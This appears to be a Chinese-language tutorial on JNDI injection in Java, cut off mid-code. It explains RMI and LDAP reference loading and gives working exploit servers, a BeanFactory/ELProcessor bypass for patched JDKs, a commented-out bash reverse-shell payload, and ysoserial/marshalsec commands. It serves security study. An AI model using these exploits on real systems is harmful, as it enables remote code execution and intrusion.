目录
JNDI介绍
根据官方文档,JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录接口。
Naming Service命名服务
命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS
系统将计算机名和IP
地址进行关联、文件系统将文件名和文件句柄进行关联等等。
在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。
其中另一个值得一提的名称服务为 LDAP
,全称为 Lightweight Directory Access Protocol
,即轻量级目录访问协议,其名称也是从右到左进行逐级定义,各级以逗号分隔,每级为一个 name
/value
对,以等号分隔。比如一个 LDAP
名称如下:
cn=John, o=Sun, c=US
表示在c=US
的子域中寻找o=Sun
的子域,再在结果中查找cn=John
的对象。
在名称系统中,有几个重要的概念。
Bindings
: 表示一个名称和对应对象的绑定关系,比如在文件系统中文件名绑定到对应的文件,在 DNS
中域名绑定到对应的 IP
。
Context
: 上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (subcontext
)。
References
: 在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++
中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd
(file descriptor
),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。
Directory Service目录服务
目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。由此,我们不仅可以根据名称去查找(lookup
)对象(并获取其对应属性),还可以根据属性值去搜索(search
)对象。
一些典型的目录服务有:
NIS
: Network Information Service,Solaris
系统中用于查找系统相关信息的目录服务;
Active Directory
: 为 Windows
域网络设计,包含多个目录服务,比如域名服务、证书服务等;
其他基于 LDAP
协议实现的目录服务;
总而言之,目录服务也是一种特殊的名称服务,关键区别是在目录服务中通常使用搜索(search
)操作去定位对象,而不是简单的根据名称查找(lookup
)去定位。
在下文中如果没有特殊指明,都会将名称服务与目录服务统称为目录服务。
API
根据上面的介绍,我们知道目录服务是中心化网络应用的一个重要组件。使用目录服务可以简化应用中服务管理验证逻辑,集中存储共享信息。在 Java
应用中除了以常规方式使用名称服务(比如使用 DNS
解析域名),另一个常见的用法是使用目录服务作为对象存储的系统,即用目录服务来存储和获取 Java
对象。
比如对于打印机服务,我们可以通过在目录服务中查找打印机,并获得一个打印机对象,基于这个 Java
对象进行实际的打印操作。
为此,就有了 JNDI
,即 Java
的名称与目录服务接口,应用通过该接口与具体的目录服务进行交互。从设计上,JNDI
独立于具体的目录服务实现,因此可以针对不同的目录服务提供统一的操作接口。
JNDI
架构上主要包含两个部分,即 Java
的应用层接口和 SPI
,如下图所示:
SPI
全称为 Service Provider Interface
,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK
中包含了下述内置的目录服务:
RMI
: Java Remote Method Invocation
,Java
远程方法调用;
LDAP
: 轻量级目录访问协议;
CORBA
: Common Object Request Broker Architecture
,通用对象请求代理架构,用于 COS
名称服务(Common Object Services
);
除此之外,用户还可以在 Java
官网下载其他目录服务实现。由于 SPI
的统一接口,厂商也可以提供自己的私有目录服务实现,用户可无需重复修改代码。
为了更好理解 JNDI
,我们需要了解其背后的服务提供者(Service Provider
),这些目录服务本身和 JNDI
有没直接耦合性,但基于 SPI
接口和 JNDI
构建起了重要的联系。
JNDI的结构
从上面介绍的三个 Service Provider
我们可以看到,除了 RMI
是 Java
特有的远程调用框架,其他两个都是通用的服务和标准,可以脱离 Java
独立使用。JNDI
就是在这个基础上提供了统一的接口,来方便调用各种服务。
在Java JDK
里面提供了5个包,提供给JNDI
的功能实现,分别是:
javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
类介绍
InitialContext类
构造方法
//构建一个初始上下文。
InitialContext()
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy)
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment)
常用方法
//将名称绑定到对象。
bind(Name name, Object obj)
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name)
//检索命名对象。
lookup(String name)
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj)
//取消绑定命名对象。
unbind(String name)
例子
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
//在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}
总的来说,这个例子的作用就是查找与该地址关联的jndi对象。如果运行成功,它将打印出相关对象的信息。如果连接被拒绝或者找不到对应的对象,可能会抛出NamingException
异常
Reference类
该类也是在javax.naming
的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。
构造方法
//为类名为“className”的对象构造一个新的引用。
Reference(String className)
//为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr)
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
Reference(String className, String factory, String factoryLocation)
/*
参数:
className 远程加载时所使用的类名
factory 加载的class中需要实例化类的名称
factoryLocation 提供classes数据的地址可以是file/ftp/http协议
*/
常用方法:
//将地址添加到索引posn的地址列表中。
void add(int posn, RefAddr addr)
//将地址添加到地址列表的末尾。
void add(RefAddr addr)
//从此引用中删除所有地址。
void clear()
//检索索引posn上的地址。
RefAddr get(int posn)
//检索地址类型为“addrType”的第一个地址。
RefAddr get(String addrType)
//检索本参考文献中地址的列举。
Enumeration<RefAddr> getAll()
//检索引用引用的对象的类名。
String getClassName()
//检索此引用引用的对象的工厂位置。
String getFactoryClassLocation()
//检索此引用引用对象的工厂的类名。
String getFactoryClassName()
//从地址列表中删除索引posn上的地址。
Object remove(int posn)
//检索此引用中的地址数。
int size()
//生成此引用的字符串表示形式。
String toString()
例子
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class jndi {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
String url = "http://127.0.0.1:8080";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("aa",referenceWrapper);
}
}
上面代码的功能是将一个包含特定信息的Reference
对象通过JNDI
和RMI
机制绑定到RMI注册表中。
这里可以看到调用完Reference
后调用了ReferenceWrapper
将前面的Reference
对象给传进去。将类注册到Registry
需要实现Remote
和继承UnicastRemoteobject
类。这里并没有看到相关的代码,所以这里还需要调用ReferenceWrapper
将他封装一下
JNDI References 注入
为了在命名服务或目录服务中绑定Java
对象,可以使用Java
序列化来传输对象,但有时候不太合适,比如Java
对象较大的情况。因此JNDI定义了命名引用(Naming References
),后面直接简称引用(References
)。这样对象就可以通过绑定一个可以被命名管理器(Naming Manager
)解码并解析为原始对象的引用,间接地存储在命名或目录服务中。
引用由Reference
类来表示,它由地址(RefAddress
)的有序列表和所引用对象的信息组成。而每个地址包含了如何构造对应的对象的信息,包括引用对象的Java
类名,以及用于创建对象的ObjectFactory
类的名称和位置。
Reference
可以使用ObjectFactory
来构造对象。当使用lookup()
方法查找对象时,Reference
将使用提供的ObjectFactory
类的加载地址来加载ObjectFactory
类,ObjectFactory
类将构造出需要的对象。
所谓的 JNDI
注入就是控制 lookup
函数的参数,这样来使客户端访问恶意的 RMI
或者 LDAP
服务来加载恶意的对象,从而执行代码,完成利用
在 JNDI
服务中,通过绑定一个外部远程对象让客户端请求,从而使客户端恶意代码执行的方式就是利用 Reference
类实现的。Reference
类表示对存在于命名/目录系统以外的对象的引用。
具体则是指如果远程获取 RMI
服务器上的对象为 Reference
类或者其子类时,则可以从其他服务器上加载 class
字节码文件来实例化
Reference
类常用属性:
className 远程加载时所使用的类名
classFactory 加载的 class 中需要实例化类的名称
classFactoryLocation 提供 classes 数据的地址可以是 file/ftp/http 等协议
例:
Reference reference = new Reference("Exploit","Exploit","http://evilHost/" );
registry.bind("Exploit", new ReferenceWrapper(reference));
此时,假设使用rmi
协议,客户端通过lookup
函数请求上面bind
设置的Exploit
Context ctx = new InitialContext();
ctx.lookup("rmi://evilHost/Exploit");
因为绑定的是 Reference
对象,客户端在本地 CLASSPATH
查找 Exploit
类,如果没有则根据设定的 Reference
属性,到URL
: http://evilHost/Exploit.class 获取构造对象实例,构造方法中的恶意代码就会被执行
JNDI RMI
低版本jdk运行
jdk <=6u132,7u122,8u113
服务端代码
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class ServerExp {
public static void main(String args[]) {
try {
Registry registry = LocateRegistry.createRegistry(1099);
String factoryUrl = "http://localhost:1098/";
Reference reference = new Reference("EvilClass","EvilClass", factoryUrl);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("test", wrapper);
System.err.println("Server ready, factoryUrl:" + factoryUrl);
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
客户端代码
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.directory.*;
import java.util.Hashtable;
public class JNDILookup {
public static void main(String[] args) {
try {
Object ret = new InitialContext().lookup("rmi://127.0.0.1:1099/test");
System.out.println("ret: " + ret);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
恶意类
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class EvilClass implements ObjectFactory {
static void log(String key) {
try {
System.out.println("EvilClass: " + key);
} catch (Exception e) {
// do nothing
}
}
{
EvilClass.log("IIB block");
}
static {
EvilClass.log("static block");
}
public EvilClass() {
EvilClass.log("constructor");
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
EvilClass.log("getObjectInstance");
return null;
}
}
将恶意类编译成为class
文件,然后在那个目录起个python
服务器
启动服务端
启动客户端
可以看到客户端中远程的类的代码按照顺序被执行
static在类加载的时候执行
代码块和无参构造方法在clas.newInstance()时执行
高版本jdk运行
JDK 6u132
、7u122
、8u113
开始 com.sun.jndi.rmi.object.trustURLCodebase
默认值为false
,运行时需加入参数 -Dcom.sun.jndi.rmi.object.trustURLCodebase=true
。因为如果 JDK
高于这些版本,默认是不信任远程代码的,因此也就无法加载远程 RMI
代码。
不加参数,抛出异常:
加入参数就可以正常运行
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
异常分析
上面高版本 JDK
中无法加载远程代码的异常出现在 com.sun.jndi.rmi.registry.RegistryContext#decodeObject
中
其中 getFactoryClassLocation()
方法是获取classFactoryLocation
地址,这里会对 trustURLCodebase
进行取反,由于在 JDK 6u132
、7u122
、8u113
版本及以后, com.sun.jndi.rmi.object.trustURLCodebase
默认为 false
,所以会进入 if
语句,抛出异常。
绕过
如果要解码的对象 r
是远程引用,就需要先解引用然后再调用 NamingManager.getObjectInstance
,其中会实例化对应的 ObjectFactory
类并调用其 getObjectInstance
方法,这也符合我们前面打印的 EvilClass
的执行顺序。
为了绕过这里 ConfigurationException
的限制,我们有三种办法,令var8
即ref
为空,或者令
var8.getFactoryClassLocation()
即ref.getFactoryClassLocation()
为空,或者 令 trustURLCodebase
为 true
方法一:令ref为空,从语义上看不能是对象引用,只能是原始对象,这时客户端直接实例化本地对象,远程RMI
没有操作空间,这种情况不好利用
方法二:令ref.getFactoryClassLocation()
返回空。即,让ref
对象的 classFactoryLocation
属性为空,这个属性表示引用所指向对象的对应的factory
的名称,对于远程代码加载而言是 codebase
,即远程代码的 URL
地址(可以是多个地址,以空格分隔),这正是我们上文针对低版本的利用方法;如果对应的 factory
是本地代码,则该值为空,这是绕过高版本 JDK
限制的关键;
方法三:我们已经在上面用过,即在命令行指定 com.sun.jndi.rmi.object.trustURLCodebase
参数。
可以看一下getFactoryClassLocation()
方法,以及返回值的赋值情况。
要满足方法二情况,我们只需要在远程 RMI
服务器返回的 Reference
对象中不指定 Factory
的 codebase
。接着看一下 javax.naming.spi.NamingManager
的解析过程
//javax/naming/spi/NamingManager.java
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
ObjectFactory factory;
// Use builder if installed
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}
// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}
Object answer;
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}
可以看到,在处理 Reference
对象时,会先调用 ref.getFactoryClassName()
获取对应工厂类的名称,也就是会先从本地的CLASSPATH
中寻找该类。如果不为空则直接实例化工厂类,并通过工厂类去实例化一个对象并返回;如果为空则通过网络去请求,即前文中的情况。
之后会执行静态代码块、代码块、无参构造函数和getObjectInstance
方法。那么只需要在攻击者本地CLASSPATH
找到这个Reference Factory
类并且在这四个地方其中一块能执行payload
就可以了。但getObjectInstance
方法需要你的类实现javax.naming.spi.ObjectFactory
接口
因此,我们实际上可以指定一个存在于目标 classpath
中的工厂类名称,交由这个工厂类去实例化实际的目标类(即引用所指向的类),从而间接实现一定的代码控制。
整个利用过程的主要调用栈如下:
InitialContext#lookup()
RegistryContext#lookup()
RegistryContext#decodeObject()
NamingManager#getObjectInstance()
objectfactory = NamingManager#getObjectFactoryFromReference()
Class#newInstance() //-->恶意代码被执行
或: objectfactory#getObjectInstance() //-->恶意代码被执行
所以满足的工厂类条件:
1.存在于目标本地的CLASSPATH
中
2.实现javax.naming.spi.ObjectFactory
接口
3.至少存在一个getObjectInstance()
方法
我们可以选择
Tomcat
依赖包中的 org.apache.naming.factory.BeanFactory
环境搭建
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>
这个作为服务端
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class bypass {
public static void main(String args[]) {
try {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
// ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['bash','-c','bash -i >& /dev/tcp/ip/port 0>&1']).start()\")"));
ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"calc\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("test", referenceWrapper);
System.err.println("Server ready");
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
客户端代码还是和上面一样
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.directory.*;
import java.util.Hashtable;
public class JNDILookup {
public static void main(String[] args) {
try {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Object ret = new InitialContext().lookup("rmi://127.0.0.1:1099/test");
System.out.println("ret: " + ret);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
bypass分析
我们来分析poc
先看ResourceRef
,ResourceRef
在 tomcat 中表示某个资源的引用,其构造函数参数如下:
再来看看poc
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
// ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['bash','-c','bash -i >& /dev/tcp/ip/port 0>&1']).start()\")"));
ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"calc\")"));
其中我们指定了资源的实际类为 javax.el.ELProcessor
,工厂类为 apache.naming.factory.BeanFactory
。
后面为什么这么写,我们下个断点,调试一下
经过下列调用栈
进入RegistryContext#decodeObject
if
就是我们刚刚绕过的地方,然后进入NamingManager.getObjectInstance
经由NamingManager.getObjectInstance
进入factory.getObjectInstance
进入BeanFactory#getObjectInstance
后,首先会判断对象是否是ResourceRef
类,接下来通过反射实例化了beanClass
取出了键值为forceString
的值,以,
分割,拆分=
键值对,存入hashMap
对象中,=
右边为调用的方法,=
左边则是会通过作为hashmap
的key
,这里就可以看出poc
为什么这样写,继续往下走
此时各个变量值为
最后通过反射执行我们指定的之前构造的方法
可以看到该方法中有反射的调用method.invoke(bean, valueArray);
并且反射所有参数均来自Reference
,反射的类来自Object bean = beanClass.newInstance();
,这里是ELProcessor
,后面就是分析ELProcessor.eval
达到了命令执行。
调用栈如下
所以整个绕过流程就是:
为了绕过ConfigurationException
,需要满足ref.getFactoryClassLocation()
为空,只需要在远程 RMI
服务器返回的 Reference
对象中不指定 Factory
的 codebase
来到NamingManager
,需要在攻击者本地CLASSPATH
找到这个Reference Factory
类并且在其中一块代码能执行payload
,找到了BeanFactory
BeanFactor
使用newInstance
创建实例,所以只能调用无参构造,这就要求目标 class
得有无参构造方法且有办法执行相关命令,于是找到ELProcessor
总结起来就是绕过了ConfigurationException
,进入NamingManager
,使用BeanFactor
创建ELProcessor
/GroovyShell
无参实例,然后BeanFactor
根据别名去调用方法(执行ELProcessor
中的eval
方法)
JNDI_LDAP
LDAP
服务作为一个树形数据库,可以通过一些特殊的属性来实现 Java
对象的存储,此外,还有一些其他实现 Java
对象存储的方法: * 使用 Java
序列化进行存储; * 使用 JNDI
的引用(Reference)进行存储
低版本运行
我们可以通过LDAP
服务来绕过URLCodebase
实现远程加载,LDAP
服务也能返回JNDI Reference
对象,利用过程与jndi
+ RMI Reference
基本一致,不同的是,LDAP
服务中lookup
方法中指定的远程地址使用的是LDAP
协议,由攻击者控制LDAP
服务端返回一个恶意jndi Reference
对象,并且LDAP
服务的Reference
远程加载Factory
类并不是使用RMI Class Loader
机制,因此不受trustURLCodebase
限制。
搭建环境
客户端
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.swing.*;
public class ldap {
public static void main(String[] args) throws Exception {
String uri = "ldap://127.0.0.1:1389/EvilClass";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
服务端使用工具
RandomRobbieBF/marshalsec-jar: marshalsec-0.0.3-SNAPSHOT-all compiled on X64 (github.com)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#EvilClass
在之前编译好的恶意类上起个python服务器
python -m http.server 8000
可以成功执行恶意类
流程分析
JNDI
发起ldap
的lookup
后,将有如下的调用流程,这里我们直接来关注,获得远程LDAP Server
的Entry
之后,Client
这边是怎么做处理的
LADP
服务利用流程分析,LADP
服务前面的调用流程和jndi
是基本一样,从Obj
类的decodeObject
方法这里就有些不太一样了,decodeObject
方法内部调用了decodeReference
方法
跟进com.sun.jndi.ldap.Obj.java#decodeObject
,其主要功能是解码从LDAP Server
来的对象,该对象可能是序列化的对象,也可能是一个Reference
对象。
static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));
try {
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}
Obj
类的decodeReference
方法根据Ldap
传入的addAttribute
属性构造并返回了一个新的reference
对象引用
private static Reference decodeReference(Attributes var0, String[] var1) throws NamingException, IOException {
String var4 = null;
Attribute var2;
if ((var2 = var0.get(JAVA_ATTRIBUTES[2])) == null) {
throw new InvalidAttributesException(JAVA_ATTRIBUTES[2] + " attribute is required");
} else {
String var3 = (String)var2.get();
if ((var2 = var0.get(JAVA_ATTRIBUTES[3])) != null) {
var4 = (String)var2.get();
}
//返回一个新的Reference对象引用
Reference var5 = new Reference(var3, var4, var1 != null ? var1[0] : null);
//获取第6个属性
if ((var2 = var0.get(JAVA_ATTRIBUTES[5])) != null) {
//省略部分代码
}
//直接返回reference对象
return var5;
}
}
LDAP
服务的Reference
对象引用的获取和jndi
注入中的不太一样,jndi
是通过ReferenceWrapper_Stub
对象的getReference
方法获取reference
对象,而LADP
服务是根据传入的属性构造一个新的reference
对象引用,接着获取了第6个属性并判断是否为空,如果第6个属性为null
则直接返回新的reference
对象引用。
reference
对象的三个属性:className
,classFactory
,classFactoryLocation
)如下所示:
接着会返回到decodeObject
方法调用处,然后再返回到LdapCtx
类的c_lookup
方法调用处,接着往下执行调用getObjectInstance
方法
protected Object c_lookup(Name var1, Continuation var2) throws NamingException {
var2.setError(this, var1);
Object var3 = null;
Object var4;
try {
SearchControls var22 = new SearchControls();
var22.setSearchScope(0);
var22.setReturningAttributes((String[])null);
var22.setReturningObjFlag(true);
LdapResult var23 = this.doSearchOnce(var1, "(objectClass=*)", var22, true);
this.respCtls = var23.resControls;
if (var23.status != 0) {
this.processReturnCode(var23, var1);
}
if (var23.entries != null && var23.entries.size() == 1) {
LdapEntry var25 = (LdapEntry)var23.entries.elementAt(0);
var4 = var25.attributes;
Vector var8 = var25.respCtls;
if (var8 != null) {
appendVector(this.respCtls, var8);
}
} else {
var4 = new BasicAttributes(true);
}
if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
//var3接收reference对象
var3 = Obj.decodeObject((Attributes)var4);
}
if (var3 == null) {
var3 = new LdapCtx(this, this.fullyQualifiedName(var1));
}
} catch (LdapReferralException var20) {
LdapReferralException var5 = var20;
if (this.handleReferrals == 2) {
throw var2.fillInException(var20);
}
while(true) {
LdapReferralContext var6 = (LdapReferralContext)var5.getReferralContext(this.envprops, this.bindCtls);
try {
Object var7 = var6.lookup(var1);
return var7;
} catch (LdapReferralException var18) {
var5 = var18;
} finally {
var6.close();
}
}
} catch (NamingException var21) {
throw var2.fillInException(var21);
}
try {
//调用了getObjectInstance方法
return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
} catch (NamingException var16) {
throw var2.fillInException(var16);
} catch (Exception var17) {
NamingException var24 = new NamingException("problem generating object using object factory");
var24.setRootCause(var17);
throw var2.fillInException(var24);
}
}
c_lookup
方法将var3
(reference
对象)传给了getObjectInstance
方法的refInfo
参数,继续跟进分析getObjectInstance
方法
public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx , Hashtable<?,?> environment, Attributes attrs) throws Exception {
ObjectFactory factory;
//获取对象工厂
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
if (factory instanceof DirObjectFactory) {
return ((DirObjectFactory)factory).getObjectInstance(
refInfo, name, nameCtx, environment, attrs);
} else {
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}
}
// use reference if possible
Reference ref = null;
//判断reference对象是否为Reference
if (refInfo instanceof Reference) {
//转换为Reference类型
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}
Object answer;
//reference对象是否为空
if (ref != null) {
//获取工厂类名Exp
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
//根据工厂类远程获取对象引用
factory = getObjectFactoryFromReference(ref, f);
if (factory instanceof DirObjectFactory) {
return ((DirObjectFactory)factory).getObjectInstance(
ref, name, nameCtx, environment, attrs);
} else if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
// ignore name & attrs params; not used in URL factory
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
// try using any specified factories
answer = createObjectFromFactories(refInfo, name, nameCtx,
environment, attrs);
return (answer != null) ? answer : refInfo;
}
getObjectInstance
方法将reference
对象转换为Reference
类型并判断reference
对象是否为空,如果不为空则从reference
引用中获取工厂类Exp
名字,接着调用getObjectFactoryFromReference
方法根据工厂类Exp名字获取远程调用对象。
getObjectFactoryFromReference
方法实现如下:
可以看到LDAP
服务跟jndi
一样,会尝试先在本地查找加载Exp
类,如果本地没有找到Exp
类,那么getFactoryClassLocation
方法会获取远程加载的url
地址,如果不为空则根据远程url
地址使用类加载器URLClassLoader
来加载Exp
类,通过分析发现LDAP
服务的整个利用流程都没有URLCodebase
限制。
看一下整个调用站栈
高版本运行
在jdk8u191
以上的版本中修复了LDAP
服务远程加载恶意类这个漏洞,LDAP
服务在进行远程加载之前也添加了系统属性trustURLCodebase
的限制,通过分析在jdk8u191
版本发现,在loadClass
方法内部添加了系统属性trustURLCodebase
的判断,如果trustURLCodebase
为false
就直接返回null
,只有当trustURLCodebase
值为true
时才允许远程加载。
在高版本 JDK
中需要通过 com.sun.jndi.ldap.object.trustURLCodebase
选项去启用。这个限制在 JDK 11.0.1
、8u191
、7u201
、6u211
版本时加入,略晚于 RMI
的远程加载限制。
使用序列化数据触发Gadget
触发点一:com.sun.jndi.ldap.Obj.java#decodeObject
存在对JAVA_ATTRIBUTES[SERIALIZED_DATA]
的判断。
com.sun.jndi.ldap.Obj.java#decodeObject
主要功能是解码从LDAP Server
来的对象,该对象可能是序列化的对象,也可能是一个Reference
对象。之前讲到Reference
对象,现在讲一下传来的是序列化的对象这种情况。
如果是序列化对象会调用deserializeObject
方法
进入deserializeObject
方法,发现会进行readObject
搭建环境,使用cc6
去打
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
payload
java -jar ysoserial.jar CommonsCollections6 "calc"|base64
拿到\r\n
去除
服务端
package com.jndi.bypass;
import java.net.InetAddress;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
public class Deserializebypass {
private static final String LDAP_BASE = "dc=example,dc=domain";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8000/#calc"};
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new Deserializebypass.OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
